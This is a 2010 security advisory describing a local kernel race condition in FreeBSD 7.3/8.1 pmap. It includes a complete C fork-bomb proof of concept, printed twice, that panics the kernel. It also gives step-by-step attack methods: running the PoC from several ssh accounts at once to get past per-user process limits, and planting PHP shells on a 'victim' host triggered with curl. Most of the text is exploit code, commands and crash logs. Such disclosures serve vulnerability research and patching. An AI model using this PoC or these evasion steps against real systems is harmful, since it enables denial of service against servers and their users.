FreeBSD 8.1/7.3 – ‘vm.pmap’ Local Race Condition
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ FreeBSD 8.1/7.3 vm.pmap kernel local race condition ] Author: Maksymilian Arciemowicz http://SecurityReason.com http://lu.cxib.net Date: - - Dis.: 09.07.2010 - - Pub.: 07.09.2010 Affected Software (verified): - - FreeBSD 7.3/8.1 Original URL: http://securityreason.com/achievement_securityalert/88 - --- 0.Description --- maxproc This is the maximum number of processes a user may be running. This includes foreground and background processes alike. For obvious reasons, this may not be larger than the system limit specified by the kern.maxproc sysctl(8). Also note that setting this too small may hinder a user's productivity: it is often useful to be logged in multiple times or execute pipelines. Some tasks, such as compiling a large program, also spawn multiple processes (e.g., make(1), cc(1), and other intermediate preprocessors). vm.pmap.shpgperproc - --- 1. FreeBSD 8.1/7.3 kernel local race condition --- Race condition in pmap, allows attackers to denial of service freebsd kernel. Creating a lot of process by fork() (~ kern.maxproc), it's possible to denial kernel. To bypass the MAXPROC from login.conf, we can use a few users to run PoC in this same time, to reach kern.maxproc. suphp can be very usefully. We need choose vector attack. When we have access to few users via ssh, use openssh. Example attack by ssh POC: /* FreeBSD 7.3/8.1 pmap race condition PoC Credit: Maksymilian Arciemowicz */ #include <stdio.h> #include <sys/types.h> #include <unistd.h> void newproc(){ again: fork(); sleep(3600*24); goto again; } void runfork(){ pid_t adr; if(0!=(adr=fork())) printf("fork not zero\n"); else { printf("fork zero\n"); newproc(); } } int main(){ int secdel=5; int dev; // clock with (int)secdel secound frequency while(1){ printf("sleep %i sec\n",secdel); sleep(secdel); printf("weak up\n"); // create 512 processes dev=512; while(dev--) runfork(); } return 0; } 127# ssh cx () 0 Password: $ gcc -o poc81 poc81.c $ ./poc81 and in the same time (symetric) 127# ssh max () 0 Password: $ gcc -o poc81 poc81.c $ ./poc81 Result: Jul 29 08:41:29 127 kernel: maxproc limit exceeded by uid 1002, please see tuning(7) and login.conf(5). Jul 29 08:42:01 127 last message repeated 31 times Jul 29 08:44:02 127 last message repeated 119 times Jul 29 08:50:27 127 syslogd: kernel boot file is /boot/kernel/kernel Jul 29 08:50:27 127 kernel: maxproc limit exceeded by uid 0, please see tuning(7) and login.conf(5). Jul 29 08:50:27 127 kernel: panic: get_pv_entry: increase vm.pmap.shpgperproc Jul 29 08:50:27 127 kernel: cpuid = 0 Jul 29 08:50:27 127 kernel: Uptime: 13m23s Jul 29 08:50:27 127 kernel: Cannot dump. Device not defined or unavailable. Jul 29 08:50:27 127 kernel: Automatic reboot in 15 seconds - press a key on the console to abort Jul 29 08:50:27 127 kernel: --> Press a key on the console to reboot, Jul 29 08:50:27 127 kernel: --> or switch off the system now. Jul 29 08:50:27 127 kernel: Rebooting... Jul 29 08:50:27 127 kernel: Copyright (c) 1992-2010 The FreeBSD Project. But when we have php-shell from several uid`s, we can also use suphp. Example attack by suphp: 127# cat cxuser.php <?php system("./def"); ?> 127# ls -la total 16 drwxr-xr-x 2 root wheel 512 Jul 29 08:43 . drwxr-xr-x 4 root wheel 512 Jul 29 08:38 .. - -rw-r--r-- 1 cx cx 27 Jul 29 08:38 cxuser.php - -rwxr-xr-x 1 cx cx 7220 Jul 29 08:38 def - -rw-r--r-- 1 max max 27 Jul 29 08:43 maxuser.php now remote request to cxuser.php and maxuser.php curl http://victim/hack/cxuser.php and in the same time curl http://victim/hack/maxuser.php result: Jul 29 08:43:07 localhost login: ROOT LOGIN (root) ON ttyv0 Jul 29 08:48:30 localhost syslogd: kernel boot file is /boot/kernel/kernel Jul 29 08:48:30 localhost kernel: maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5). Jul 29 08:48:30 localhost kernel: panic: get_pv_entry: increase vm.pmap.shpgperproc Jul 29 08:48:30 localhost kernel: cpuid = 0 Jul 29 08:48:30 localhost kernel: Uptime: 4m43s Jul 29 08:48:30 localhost kernel: Jul 29 08:48:30 localhost kernel: Dump failed. Partition too small. Jul 29 08:48:30 localhost kernel: Automatic reboot in 15 seconds - press a key on the console to abort Jul 29 08:48:30 localhost kernel: Rebooting... Jul 29 08:48:30 localhost kernel: Copyright (c) 1992-2010 The FreeBSD Project. - ---debug log - cron (uid=0)--- ... maxproc limit exceeded by uid 1002, please see tuning(7) and login.conf(5). maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5). maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5). maxproc limit exceeded by uid 1002, please see tuning(7) and login.conf(5). panic: get_pv_entry: increase vm.pmap.shpgperproc cpuid = 0 KDB: enter: panic [ thread pid 7417 tid 106207 ] Stopped at kdb_enter+0x3a: movl $0,kdb_why ... KDB: enter: panic [ thread pid 7417 tid 106207 ] Stopped at kdb_enter+0x3a: movl $0,kdb_why db> ps pid ppid pgrp uid state wmesg wchan cmd 7417 880 880 0 RL CPU 0 cron 7416 880 880 0 RL cron 7415 7413 880 0 RVL cron 7414 7412 7412 0 R sh 7413 880 880 0 D ppwait 0xc8118548 cron 7412 7411 7412 0 Ss wait 0xc8118aa0 sh 7411 880 880 0 S piperd 0xc4d7eab8 cron 7410 5367 1294 1001 RL+ def 7409 5366 1294 1001 RL+ def 7408 5365 1294 1001 RL+ def 7407 5364 1294 1001 RL+ def 7406 5363 1294 1001 RL+ def 7405 5362 1294 1001 RL+ def 7404 5361 1294 1001 RL+ def ... db> trace Tracing pid 7417 tid 106207 td 0xc8113280 kdb_enter(c0ccfb5c,c0ccfb5c,c0d0a037,e7f9da38,0,...) at kdb_enter+0x3a panic(c0d0a037,10,c0d09b5f,88c,0,...) at panic+0x136 get_pv_entry(c80bcce0,0,c0d09b5f,ccd,c0fabd00,...) at get_pv entry+0x252 pmap_enter(c80bcce0,a0f7000,1,c2478138,5,...) at pmap_enter+0x34c vm_fault(c8Obcc30,a0f7000,1,0,a0f711b,...) at vm_fault+0x1b02 trap_pfault(5,0,c0dOblle,c0cd1707,c8118550,...) at trap_pfault+0xl0d trap(e7f9dd28) at trap+0x2d0 calltrap() at calltrap+0x6 - --- trap 0xc, eip = 0xa0f711b, esp = 0xbfbfec8c, ebp = 0xbfbfecc8 -- db> show pcpu cpuid = 0 dynamic pcpu = 0x627d00 curthread = 0xc8113280: pid 7417 "cron" curpcb = 0xe7f9dd80 fpcurthread = none idlethread = 0xc4183a00: tid 100003 "idle: cpu0" APIC ID = 0 currentldt = 0x50 spin locks held: ... db> show registers cs 0x20 ds 0xc0cc0028 es 0xc0d00028 fs 0xc08f0008 free_unr+0x188 ss 0x28 eax 0xc0ccfb5c ecx 0xc148792f edx 0 ebx 0xl esp 0xe7f9d9f8 ebp 0xe7f9da00 esi 0x100 edi 0xc8113280 eip 0xc08de44a kdb_enter+0x3a efl 0x286 kdb_enter+0x3a: movl $0,kdb_why ... db> show page cnt.v_free_count: 104827 cnt.v_cache_count: 11 cnt.v_inactive_count: 3369 cnt.v_active_count: 44397 cnt.v_wire_count: 58250 cnt.v_free_reserved: 324 cnt.v_free_min: 1377 cnt.v_free_target: 5832 cnt.v_cache_min: 5832 cnt.v_inactive_target: 8748 ... - ---debug log - crash in cron (uid=0)--- - ---debug log - crash in def (uid=1001)--- db> ps ... 6774 4777 2009 1001 RL+ def 6773 4777 2009 1001 RL+ CPU 0 def 6772 4777 2009 1001 RL+ def ... db> show pcpu cpuid = 0 dynamic pcpu = 0x627d00 curthread = Oxc8c34c80: pid 6773 "def" curpcb = Oxe97f6d80 fpcurthread = none idlethread = 0xc4183a00: tid 100003 "idle: cpu0" APIC ID = 0 currentldt = 0x50 spin locks held: ... - ---debug log - crash in def (uid=1001)--- - --- 2. PoC def2.c --- /* FreeBSD 7.3/8.1 pmap race condition PoC Credit: Maksymilian Arciemowicz */ #include <stdio.h> #include <sys/types.h> #include <unistd.h> void newproc(){ again: fork(); sleep(3600*24); goto again; } void runfork(){ pid_t adr; if(0!=(adr=fork())) printf("fork not zero\n"); else { printf("fork zero\n"); newproc(); } } int main(){ int secdel=5; int dev; // clock with (int)secdel secound frequency while(1){ printf("sleep %i sec\n",secdel); sleep(secdel); printf("weak up\n"); // create 512 processes dev=512; while(dev--) runfork(); } return 0; } - --- 3. Greets --- sp3x, Infospec, Adam Zabrocki 'pi3' - --- 4. Contact --- Author: SecurityReason.com [ Maksymilian Arciemowicz ] Email: - - cxib {a\./t] securityreason [d=t} com GPG: - - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg http://securityreason.com/ http://lu.cxib.net/ - -- Best Regards, - ------------------------ pub 1024D/A6986BD6 2008-08-22 uid Maksymilian Arciemowicz (cxib) <cxib () securityreason com> sub 4096g/0889FA9A 2008-08-22 http://securityreason.com http://securityreason.com/key/Arciemowicz.Maksymilian.gpg -----BEGIN PGP SIGNATURE----- iEYEARECAAYFAkyGff0ACgkQpiCeOKaYa9b0QQCfbY7yNcbUa7TDOTYxzgN7ya0y yQMAn079PHiu7Uy5WU3gvsJnvzZ0M8qO =D5mh -----END PGP SIGNATURE----- |